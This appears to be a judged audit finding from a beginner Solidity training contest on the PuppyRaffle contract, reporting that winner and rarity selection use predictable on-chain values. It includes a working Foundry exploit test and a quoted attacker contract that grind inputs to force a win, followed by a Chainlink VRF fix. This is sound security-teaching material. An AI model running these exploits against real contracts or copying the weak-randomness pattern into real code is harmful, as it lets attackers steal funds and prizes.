Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Predictable randomness in selectWinner() lets attacker guarantee a win

Description

PuppyRaffle.selectWinner() derives the winner from keccak256(msg.sender, block.timestamp, block.difficulty), all of which are known to the caller before the transaction is mined. There is no commit-reveal scheme, no Chainlink VRF, and no future-blockhash dependency, so the "randomness" is fully deterministic from the attacker's perspective. An attacker can therefore simulate the exact winner computation off-chain, wait for (or pick) a timestamp at which the formula selects their own player index, and only then trigger the draw — winning with certainty instead of by chance. The NFT rarity uses the same predictable inputs, so a legendary mint can be forced the same way.

Root cause

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

msg.sender is the draw caller (anyone may call), block.timestamp is chosen by the caller within the valid window, and block.difficulty is public pre-merge chain state. Every input is attacker-known or attacker-influenced.

Impact

The raffle's fairness is completely broken: a sophisticated player never loses — they only pay for a draw they have already verified they will win, extracting the prize NFT (and potentially the legendary rarity) at will. Honest players' expected value collapses to zero whenever such an attacker participates.

Risk

Likelihood: High — the computation is trivially reproducible by anyone (a few lines of Solidity or an off-chain script), on every single draw, at negligible cost.

Proof of Concept

The following Foundry test proves the exploit end-to-end: 4 honest players plus the attacker enter; the attacker then scans forward timestamps for one where the on-chain formula yields their index, warps to it, triggers the draw, and is recorded as the winner.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract PredictableWinnerPoC is Test {
PuppyRaffle raffle;
uint256 constant DURATION = 1 days;
function setUp() public {
raffle = new PuppyRaffle(1 ether, address(this), DURATION);
}
function test_AttackerChoosesWinningTimestamp() public {
address attacker = address(0xA77AC4);
address[] memory ps = new address[](4);
for (uint256 i = 0; i < 4; i++) { ps[i] = address(uint160(10 + i)); }
vm.deal(address(this), 5 ether);
raffle.enterRaffle{value: 4 ether}(ps); // 4 honest players
vm.deal(attacker, 1 ether);
vm.prank(attacker);
address[] memory one = new address[](1); one[0] = attacker;
raffle.enterRaffle{value: 1 ether}(one); // attacker = index 4
uint256 attackerIndex = 4; uint256 total = 5;
uint256 t = block.timestamp + DURATION + 1;
bool won = false;
for (uint256 k = 0; k < 2000; k++) {
uint256 predicted = uint256(
keccak256(abi.encodePacked(attacker, t, block.difficulty))
) % total;
if (predicted == attackerIndex) {
vm.warp(t);
vm.prank(attacker); // msg.sender == attacker, matches prediction
raffle.selectWinner();
won = true; break;
}
t += 12;
}
assertTrue(won, "attacker found a winning timestamp");
assertEq(raffle.previousWinner(), attacker, "attacker won by choosing draw time");
}
}

Run: forge test --match-contract PredictableWinnerPoC -vvv → [PASS] test_AttackerChoosesWinningTimestamp() with log "attacker won at chosen timestamp".

Recommended Mitigation

Replace the naive hash with verifiable randomness. The standard fix is Chainlink VRF: request a random word when the raffle ends, and perform winner selection in the VRF callback, so no participant can predict or influence the outcome. Concretely:

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request randomness via Chainlink VRF at raffle end;
+ // compute winnerIndex from the VRF-provided random word in fulfillRandomWords

This removes all three attacker-controlled inputs (msg.sender, block.timestamp, block.difficulty) from the draw. The same change must be applied to the rarity computation, which is predictable from msg.sender and block.difficulty alone. As defense-in-depth, the draw function should also be restricted so it cannot be called arbitrarily often (e.g., only once per raffle), limiting an attacker's ability to grind timestamps even against a weaker scheme.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!